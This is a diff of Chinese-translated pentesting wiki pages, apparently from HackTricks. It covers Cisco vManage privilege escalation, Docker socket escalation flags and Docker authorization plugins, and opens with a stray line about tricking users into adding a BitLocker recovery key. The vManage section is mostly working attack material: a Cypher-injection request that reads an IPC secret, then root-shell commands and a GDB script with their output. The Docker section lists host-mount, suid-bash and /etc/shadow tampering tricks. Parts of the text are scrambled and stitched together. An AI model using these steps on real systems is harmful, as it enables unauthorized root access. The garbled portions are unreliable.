可以通过社会工程学策略添加新的 BitLocker 恢复密钥,说服用户执行一个命令,添加一个由零组成的新恢复密钥,从而简化解密过程。
|
||||
|
|
|
@ -1,28 +1,31 @@
|
|||
# Cisco - vmanage
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我。
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 路径 1
|
||||
## Path 1
|
||||
|
||||
(示例来自[https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
||||
(来自 [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html))
|
||||
|
||||
在查阅一些与`confd`和不同二进制文件相关的[文档](http://66.218.245.39/doc/html/rn03re18.html)后(可通过Cisco网站上的帐户访问),我们发现为了对IPC套接字进行身份验证,它使用位于`/etc/confd/confd_ipc_secret`中的一个密钥:
|
||||
在浏览了一些与 `confd` 及其不同二进制文件相关的 [文档](http://66.218.245.39/doc/html/rn03re18.html) 后(可以通过 Cisco 网站上的账户访问),我们发现要验证 IPC 套接字,它使用位于 `/etc/confd/confd_ipc_secret` 的一个秘密:
|
||||
```
|
||||
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
|
||||
|
||||
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
|
||||
```
|
||||
记得我们的Neo4j实例吗?它是在`vmanage`用户的权限下运行的,因此允许我们使用先前的漏洞检索文件:
|
||||
记住我们的 Neo4j 实例吗?它在 `vmanage` 用户的权限下运行,因此允许我们使用之前的漏洞检索文件:
|
||||
```
|
||||
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
|
||||
|
||||
|
@ -34,7 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
|
|||
|
||||
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
|
||||
```
|
||||
`confd_cli`程序不支持命令行参数,但会调用`/usr/bin/confd_cli_user`并传递参数。因此,我们可以直接调用`/usr/bin/confd_cli_user`并附上我们自己的参数。然而,由于我们当前的权限无法读取,所以我们需要从rootfs中检索它并使用scp进行复制,读取帮助信息,然后使用它获取shell:
|
||||
`confd_cli` 程序不支持命令行参数,但会调用 `/usr/bin/confd_cli_user` 并传递参数。因此,我们可以直接使用我们自己的参数调用 `/usr/bin/confd_cli_user`。但是以我们当前的权限无法读取它,所以我们必须从 rootfs 中检索它并使用 scp 复制,阅读帮助,并使用它获取 shell:
|
||||
```
|
||||
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
|
||||
|
||||
|
@ -52,13 +55,13 @@ vManage:~# id
|
|||
|
||||
uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
## 路径 2
|
||||
## Path 2
|
||||
|
||||
(示例来自 [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
(Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
|
||||
|
||||
synacktiv 团队的博客¹ 描述了一种优雅的方式来获取 root shell,但需要注意的是,这需要获取 `/usr/bin/confd_cli_user` 的副本,而该文件只能被 root 读取。我找到了另一种无需这么麻烦就能升级到 root 的方法。
|
||||
synacktiv团队的博客¹描述了一种优雅的方法来获取root shell,但缺点是需要获取一个只有root可读的`/usr/bin/confd_cli_user`的副本。我找到了一种无需如此麻烦即可提升到root的方法。
|
||||
|
||||
当我反汇编 `/usr/bin/confd_cli` 二进制文件时,我观察到以下内容:
|
||||
当我反汇编`/usr/bin/confd_cli`二进制文件时,我观察到了以下内容:
|
||||
```
|
||||
vmanage:~$ objdump -d /usr/bin/confd_cli
|
||||
… snipped …
|
||||
|
@ -87,20 +90,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
|
|||
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
|
||||
… snipped …
|
||||
```
|
||||
当我运行“ps aux”时,我观察到以下内容(_注意 -g 100 -u 107_)
|
||||
当我运行“ps aux”时,我观察到以下内容(_note -g 100 -u 107_)
|
||||
```
|
||||
vmanage:~$ ps aux
|
||||
… snipped …
|
||||
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
|
||||
… snipped …
|
||||
```
|
||||
我假设“confd\_cli”程序将从已登录用户收集的用户ID和组ID传递给“cmdptywrapper”应用程序。
|
||||
我假设“confd\_cli”程序将从登录用户收集的用户 ID 和组 ID 传递给“cmdptywrapper”应用程序。
|
||||
|
||||
我的第一次尝试是直接运行“cmdptywrapper”,并提供`-g 0 -u 0`参数,但失败了。似乎在某个地方创建了一个文件描述符(-i 1015),我无法伪造它。
|
||||
我第一次尝试直接运行“cmdptywrapper”,并提供 `-g 0 -u 0`,但失败了。似乎在某个地方创建了一个文件描述符 (-i 1015),我无法伪造它。
|
||||
|
||||
如synacktiv的博客中所述(最后一个示例),`confd_cli`程序不支持命令行参数,但我可以通过调试器影响它,幸运的是系统中包含了GDB。
|
||||
正如 synacktiv 的博客中提到的(最后一个例子),`confd_cli` 程序不支持命令行参数,但我可以通过调试器影响它,幸运的是系统中包含 GDB。
|
||||
|
||||
我创建了一个GDB脚本,在其中强制API `getuid` 和 `getgid` 返回0。由于我已经通过反序列化RCE获得了“vmanage”权限,我有权限直接读取`/etc/confd/confd_ipc_secret`。
|
||||
我创建了一个 GDB 脚本,强制 API `getuid` 和 `getgid` 返回 0。由于我已经通过反序列化 RCE 获得了“vmanage”权限,因此我有权限直接读取 `/etc/confd/confd_ipc_secret`。
|
||||
|
||||
root.gdb:
|
||||
```
|
||||
|
@ -120,7 +123,7 @@ root
|
|||
end
|
||||
run
|
||||
```
|
||||
控制台输出:
|
||||
控制台输出:
|
||||
```
|
||||
vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli
|
||||
GNU gdb (GDB) 8.0.1
|
||||
|
@ -154,14 +157,17 @@ root
|
|||
uid=0(root) gid=0(root) groups=0(root)
|
||||
bash-4.4#
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上被宣传**吗?或者想要获取**最新版本的PEASS或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,28 +1,33 @@
|
|||
# 利用 Docker Socket 进行权限提升
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family),[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
有些情况下,您只能**访问 docker socket**,并希望使用它来**提升权限**。有些操作可能非常可疑,您可能希望避免它们,因此在这里您可以找到不同的标志,这些标志对于提升权限可能有用:
|
||||
有些情况下你只需 **访问 docker socket**,并希望利用它来 **提升权限**。某些操作可能非常可疑,你可能想要避免它们,因此在这里你可以找到不同的标志,这些标志可能对提升权限有用:
|
||||
|
||||
### 通过挂载
|
||||
|
||||
您可以**挂载**文件系统的不同部分到以 root 身份运行的容器中,并**访问**它们。\
|
||||
您还可以**滥用挂载来在容器内提升权限**。
|
||||
你可以在以 root 身份运行的容器中 **挂载** 文件系统的不同部分并 **访问** 它们。\
|
||||
你也可以 **利用挂载来提升容器内的权限**。
|
||||
|
||||
* **`-v /:/host`** -> 在容器中挂载宿主机的文件系统,以便您可以**读取宿主机的文件系统。**
|
||||
* 如果您想在容器中**感觉像在宿主机上**,您可以使用以下标志禁用其他防御机制:
|
||||
* **`-v /:/host`** -> 在容器中挂载主机文件系统,以便你可以 **读取主机文件系统。**
|
||||
* 如果你想要 **感觉像是在主机上**,但实际上在容器中,你可以使用以下标志禁用其他防御机制:
|
||||
* `--privileged`
|
||||
* `--cap-add=ALL`
|
||||
* `--security-opt apparmor=unconfined`
|
||||
|
@ -32,41 +37,46 @@
|
|||
* `--userns=host`
|
||||
* `--uts=host`
|
||||
* `--cgroupns=host`
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前一种方法类似,但在这里我们正在**挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,您可以在 `/mnt` 中**访问** **宿主机的文件系统**
|
||||
* 在宿主机上运行 `fdisk -l` 来找到要挂载的 `</dev/sda1>` 设备
|
||||
* **`-v /tmp:/host`** -> 如果由于某种原因您只能**挂载宿主机的某个目录**,并且您在宿主机内部有访问权限。挂载它并在挂载的目录中创建一个具有 **suid** 的 **`/bin/bash`**,以便您可以**从宿主机执行它并提升为 root**。
|
||||
* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> 这与前一种方法类似,但这里我们是 **挂载设备磁盘**。然后,在容器内运行 `mount /dev/sda1 /mnt`,你可以在 `/mnt` 中 **访问** **主机文件系统**。
|
||||
* 在主机上运行 `fdisk -l` 找到 `</dev/sda1>` 设备以进行挂载。
|
||||
* **`-v /tmp:/host`** -> 如果由于某种原因你只能 **挂载主机的某个目录**,并且你可以在主机内访问它。挂载它并在挂载目录中创建一个 **`/bin/bash`**,并设置 **suid**,这样你就可以 **从主机执行它并提升到 root**。
|
||||
|
||||
{% hint style="info" %}
|
||||
请注意,您可能无法挂载 `/tmp` 文件夹,但您可以挂载**不同的可写文件夹**。您可以使用以下命令找到可写目录:`find / -writable -type d 2>/dev/null`
|
||||
请注意,也许你无法挂载 `/tmp` 文件夹,但你可以挂载一个 **不同的可写文件夹**。你可以使用以下命令查找可写目录:`find / -writable -type d 2>/dev/null`
|
||||
|
||||
**请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 为了检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"` 例如,通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。
|
||||
**请注意,并非所有 Linux 机器上的目录都支持 suid 位!** 要检查哪些目录支持 suid 位,请运行 `mount | grep -v "nosuid"`。例如,通常 `/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup` 和 `/var/lib/lxcfs` 不支持 suid 位。
|
||||
|
||||
还请注意,如果您可以**挂载 `/etc`** 或任何其他**包含配置文件的文件夹**,您可以从 docker 容器中以 root 身份更改它们,以便**在宿主机上滥用它们**并提升权限(可能修改 `/etc/shadow`)
|
||||
还要注意,如果你可以 **挂载 `/etc`** 或任何其他 **包含配置文件** 的文件夹,你可以在 docker 容器中以 root 身份更改它们,以便 **在主机中利用它们** 并提升权限(可能修改 `/etc/shadow`)。
|
||||
{% endhint %}
|
||||
|
||||
### 从容器中逃逸
|
||||
|
||||
* **`--privileged`** -> 使用此标志,您[移除了容器的所有隔离](docker-privileged.md#what-affects)。查看技术以[从具有 root 权限的特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了[滥用能力进行提升](../linux-capabilities.md),**授予容器该能力**并禁用其他可能阻止漏洞利用工作的保护方法。
|
||||
* **`--privileged`** -> 使用此标志,你可以 [移除容器的所有隔离](docker-privileged.md#what-affects)。查看技术以 [作为 root 从特权容器中逃逸](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)。
|
||||
* **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> 为了 [通过能力提升](../linux-capabilities.md),**将该能力授予容器**,并禁用可能阻止漏洞工作的其他保护方法。
|
||||
|
||||
### Curl
|
||||
|
||||
在这个页面上,我们讨论了使用 docker 标志提升权限的方法,您可以在以下页面中找到**使用 curl 命令滥用这些方法的方式**:
|
||||
在本页中,我们讨论了使用 docker 标志提升权限的方法,你可以在页面中找到 **使用 curl 命令滥用这些方法的方式**:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>从零开始学习 AWS 黑客攻击!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 **HackTricks** 中看到您的**公司广告**或**下载 HackTricks 的 PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 发现我们的独家[**NFTs 集合**](https://opensea.io/collection/the-peass-family),[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)上**关注**我。
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,88 @@
|
|||
<details>
|
||||
{% hnnt styte=" acceas" %}
|
||||
GCP Ha& practice ckinH: <img:<img src="/.gitbcok/ass.ts/agte.png"talb=""odata-siz/="line">[**HackTatckt T.aining AWS Red TelmtExp"rt (ARTE)**](ta-size="line">[**HackTricks Training GCP Re)Tmkg/stc="r.giebpokal"zee>/ttdt.png"isl=""data-ize="line">\
|
||||
Learn & aciceGCP ngs<imgmsrc="/.gipbtok/aHsats/gcte.mag"y>lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"al=""daa-siz="ne">tinhackth ckiuxyzcomurspssgr/a)
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<dotsilp>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
<oummpr>SupportHackTricks</smmay>
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
*Chek th [**subsrippangithub.cm/sorsarlosp!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hahktcickr\_kivelive**](https://twitter.com/hacktr\icks\_live)**.**
|
||||
* **Shareing tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
|
||||
**Docker**的**授权**模型是**全有或全无**的。任何具有访问Docker守护程序权限的用户都可以**运行任何**Docker客户端**命令**。对于使用Docker的Engine API联系守护程序的调用方也是如此。如果您需要**更精细的访问控制**,可以创建**授权插件**并将其添加到Docker守护程序配置中。使用授权插件,Docker管理员可以为管理对Docker守护程序的访问配置**细粒度访问**策略。
|
||||
**Docker** 的开箱即用 **授权** 模型是 **全有或全无**。任何有权限访问 Docker 守护进程的用户都可以 **运行任何** Docker 客户端 **命令**。使用 Docker 的引擎 API 联系守护进程的调用者也是如此。如果您需要 **更严格的访问控制**,可以创建 **授权插件** 并将其添加到 Docker 守护进程配置中。使用授权插件,Docker 管理员可以 **配置细粒度访问** 策略来管理对 Docker 守护进程的访问。
|
||||
|
||||
# 基本架构
|
||||
|
||||
Docker Auth插件是您可以使用的**外部插件**,用于根据请求守护程序的**用户**和**请求的操作**来**允许/拒绝**发送到Docker守护程序的**操作**。
|
||||
Docker Auth 插件是 **外部** **插件**,您可以使用它们来 **允许/拒绝** 请求到 Docker 守护进程的 **操作**,具体取决于请求的 **用户** 和 **请求的操作**。
|
||||
|
||||
**[以下信息来自文档](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
|
||||
|
||||
当通过CLI或通过Engine API向Docker **守护程序**发出**HTTP请求**时,**身份验证子系统**将请求传递给已安装的**身份验证插件**。请求包含用户(调用方)和命令上下文。**插件**负责决定是否**允许**或**拒绝**请求。
|
||||
当通过 CLI 或引擎 API 向 Docker **守护进程** 发出 **HTTP** **请求** 时,**身份验证** **子系统** 会将请求传递给已安装的 **身份验证** **插件**。请求包含用户(调用者)和命令上下文。**插件** 负责决定是否 **允许** 或 **拒绝** 请求。
|
||||
|
||||
下面的序列图描述了允许和拒绝授权流程:
|
||||
下面的序列图描绘了允许和拒绝的授权流程:
|
||||
|
||||
![授权允许流程](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz\_allow.png)
|
||||
|
||||
![授权拒绝流程](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz\_deny.png)
|
||||
|
||||
发送到插件的每个请求**包括经过身份验证的用户、HTTP头和请求/响应正文**。只传递**用户名**和**使用的身份验证方法**给插件。最重要的是,**不会传递用户凭据或令牌**。最后,**并非所有请求/响应正文都会发送**到授权插件。只有`Content-Type`为`text/*`或`application/json`的请求/响应正文会被发送。
|
||||
每个发送到插件的请求 **包括经过身份验证的用户、HTTP 头和请求/响应体**。只有 **用户名** 和 **使用的身份验证方法** 被传递给插件。最重要的是,**不** 会传递用户 **凭据** 或令牌。最后,**并非所有请求/响应体都发送** 到授权插件。只有那些 `Content-Type` 为 `text/*` 或 `application/json` 的请求/响应体会被发送。
|
||||
|
||||
对于可能劫持HTTP连接的命令(如`exec`)等命令,授权插件仅在初始HTTP请求时调用。一旦插件批准命令,授权就不会应用于其余流程。具体来说,流式数据不会传递给授权插件。对于返回分块HTTP响应的命令,如`logs`和`events`,只有HTTP请求会发送到授权插件。
|
||||
对于可能劫持 HTTP 连接的命令(`HTTP Upgrade`),例如 `exec`,授权插件仅在初始 HTTP 请求时被调用。一旦插件批准命令,后续流程不再应用授权。具体来说,流数据不会传递给授权插件。对于返回分块 HTTP 响应的命令,例如 `logs` 和 `events`,仅 HTTP 请求会发送到授权插件。
|
||||
|
||||
在请求/响应处理期间,某些授权流可能需要对Docker守护程序进行额外查询。为了完成这样的流程,插件可以调用类似于常规用户的守护程序API。为了启用这些额外查询,插件必须提供管理员配置适当的身份验证和安全策略的手段。
|
||||
在请求/响应处理过程中,一些授权流程可能需要对 Docker 守护进程进行额外查询。为了完成这些流程,插件可以像普通用户一样调用守护进程 API。为了启用这些额外查询,插件必须提供管理员配置适当身份验证和安全策略的手段。
|
||||
|
||||
## 多个插件
|
||||
|
||||
您负责在Docker守护程序**启动**时**注册**您的**插件**。您可以安装**多个插件并将它们链接在一起**。此链可以排序。每个传递到守护程序的请求都会按顺序通过链。只有当**所有插件都授予对资源的访问权限**时,访问权限才会被授予。
|
||||
您负责将 **插件** 注册为 Docker 守护进程 **启动** 的一部分。您可以安装 **多个插件并将它们链接在一起**。此链可以是有序的。每个对守护进程的请求按顺序通过链。只有当 **所有插件都授予访问权限** 时,访问才会被授予。
|
||||
|
||||
# 插件示例
|
||||
|
||||
## Twistlock AuthZ Broker
|
||||
|
||||
插件[**authz**](https://github.com/twistlock/authz)允许您创建一个简单的**JSON**文件,插件将**读取**以授权请求。因此,它为您提供了很容易控制哪些API端点可以被每个用户访问的机会。
|
||||
插件 [**authz**](https://github.com/twistlock/authz) 允许您创建一个简单的 **JSON** 文件,插件将 **读取** 该文件以授权请求。因此,它为您提供了非常简单的机会来控制每个用户可以访问哪些 API 端点。
|
||||
|
||||
这是一个示例,允许Alice和Bob创建新容器:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
这是一个示例,允许 Alice 和 Bob 创建新容器:`{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
|
||||
|
||||
在页面[route\_parser.go](https://github.com/twistlock/authz/blob/master/core/route\_parser.go)中,您可以找到请求的URL与操作之间的关系。在页面[types.go](https://github.com/twistlock/authz/blob/master/core/types.go)中,您可以找到操作名称与操作之间的关系
|
||||
